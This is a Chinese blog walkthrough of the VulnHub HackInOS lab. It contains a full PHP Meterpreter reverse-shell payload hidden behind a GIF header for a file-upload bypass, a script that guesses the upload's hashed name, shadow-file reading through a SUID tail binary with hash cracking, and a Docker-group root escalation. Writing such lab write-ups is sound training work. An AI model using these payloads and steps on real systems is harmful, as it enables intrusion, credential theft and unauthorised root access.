HackInOS(Ubuntu/Linux)

新手开车, 老手靠边.

HackInOS 靶机 (Ubuntu/Linux)下载

https://www.vulnhub.com/entry/hackinos-1,295/


目标
得到root目录下的flag.

*如果要下载来玩建议不要看, 因为剧透了


1.打开你的Kali和HackInOS靶机.

2. 使用netdiscover把目标找出来.

3.然后使用nmap去扫描它, 当然我们发现它有运行Apache http就是拥有网页去瞧一瞧.

4.打开你的浏览器输入[Target IP]:[http Port], 这里我没有等他完全跑完就看到了是一个Wordpress网页.

5.使用我们专业的Wordpress Scan来扫描它.
#wpscan --url http://[Target IP]:[http Port]/ -e at -e ap -e u --wp-content-dir wp-content 
那么这次扫描我们看到一个robots.txt点开看一看 

6.那么我们看到有一个upload.php
打开来看一看[Target IP]:[http Port]/upload.php

7.看起来可以使用上传漏洞
8.看了一下网页码发现一个讲述这个upload.php的php码
https://github.com/fatihhcelik/Vulnerable-Machine---Hint/blob/master/upload.php
  
9.我们可以看到upload的文件格式只支持png和gif格式.

9.根据我知道的方法我们可以使用gif的HEX(文件识别标志) + php的payload来进行渗透

HEX(文件识别标志)
https://blog.mythsman.com/post/5d301940976abc05b345469f/

10.使用Meterspolit制作一个php来反弹shell
#msfvenom -p php/meterpreter/reverse_tcp lhost=[自己ip] lport=4444 -f raw

11.使用nano制作一个backdoor.php, 内容就是HEX(文件识别标志) + Meterspolit 生成的php Payload.
GIF89a
<?php /**/ error_reporting(0); $ip = '192.168.1.5'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

 

12.上传backdoor.php



13.没先到它直接告诉你, 你上传的文件被保存在了哪里不用使用burp suite查看. 因为它更改了我们upload的文件名所以我们制作一个python命名为hackinos.py来找到我们upload的文件并运行它
hackinos.py的内容大概是这样(需要修改你上传php文件的名字和Target IP)
import hashlib
import requests
for i in range(101):
    file_name = hashlib.md5('backdoor.php'+str(i)).hexdigest()
    r = requests.get('http://192.168.1.135:8000/uploads/{}.php'.format(file_name))

14.打开meterspolit监听
#msfconsole
> use exploit/multi/handler
> set payload php/meterpreter/reverse_tcp
> set lhost 192.168.1.5          (自己的IP地址)
> set lport 4444
> exploit


15.运行hackinos.py等一阵子
#python ./hackinos.py


16.Meterspolit成功得到Shell

17.因为是Ubuntu系统这次我使用别人介绍的Linuxprivchecker.py用来检查这个系统有什么漏洞
我下载了linuxprivchecker.py在Kali上, 并upload上去靶机的/tmp/inuxprivchecker.py(为什么是inuxprivchecker.py因为我命名错了但没关系能用就行)
 https://github.com/sleventyeleven/linuxprivchecker/blob/master/linuxprivchecker.py

18.要启动它需要sudo权限, 但我们可以修改它的赋予权限让inuxprivchecker.py文件拥有运行的权限.
大概是这样
meterpreter > chmod 775 /tmp/inuxprivchecker.py (赋予权限)
meterpreter > shell  (交互shell)
python /tmp/inuxprivchecker.py (运行
inuxprivchecker.py

19. inuxprivchecker.py 会输出很多信息所以要花点时间慢慢消化. 主要查看有多少个用户, 可以使用的命令有什么(wget之类的),定时任务,等等...
然后我看到SUID下可以使用tail命令而且是root权限, 那还真是太开心了
*被标记的SUID表示不管那个用户运行它都是使用创建者的权限来运行该文件.

20.使用使用tail 看看shadow文件因为里面有没有密码可以破解.
还真有而且是root用户.

21.酱Hash保存下来使用Hashcat破解一下就完成.
你也可以使用其他的软件破解比如john the ripper, online hash decode 之类的, 我就使用Hashcat因为可以使用GPU破解速度超快.
字典我是使用metasploit自带的在位置
/usr/share/metasploit-framework/data/wordlists/common_roots.txt
(至于要怎样使用就直接研究研究吧很简单) 

22.破解完后打开输出的txt看见明文是john

23.所以现在可以兴高采烈去root用户了. 但就在终点遇到一个问题su 必须是在terminal下才能使用.

24.上网查了一下, 看人家可以使用Python来换shell 参考
python -c "import pty;pty.spawn('/bin/bash');"
得到terminal运行su输入密码john完美.

24.当我想着结束的时侯, 居然告诉我生活包括细节居然没有 flag 那怎么可能 !!!!!!

25.我觉得是被隐藏了, 那么我就在该文件夹看看有没有被隐藏的文件,还真有那就一个一个看下哪里有线索.

26.那么其它全部都是空的只有这个文件里面有线索 port文件显示聆听你的朋友 7* (那么我就大概了解叫我监听所有7开头的Port ??????)
但是我监听几个端口一段时间都没有发现什么..... Port70,71,72,73,74,75,76,77,78,79

27.那么居然他有wordpress就看看数据库而且密码也是default的(google怎么登入wordpress数据库就有很多参考)

28.这里可能就需要基本的MySQL知识了Select, From, Where (我是有学过的告诉你 )
也是一个一个慢慢检查

29.第一个就有ssh的Hash了,使用Hash-identifier得知这是MD5

30.上网找一找, 没烦恼. 密码是123456

31.使用ssh登入 hummingbirdscyber看看
密码: 123456
然后查看一下这个用户属于哪个团体,发现它属于docker用户
那就说root的flag就隔离在这该死的用户下......
有兴趣可以去了解一下Docker和虚拟机相似又不是的一个多开系统软件

32.之前看用一篇文章可以把/root运用在docker上酱就可以得到root权限.
#docker run -it -v /root:/root ubuntu:latest /bin/bash

33. 终于得到这难得的flag.....

感谢阅读.

No comments:

Post a Comment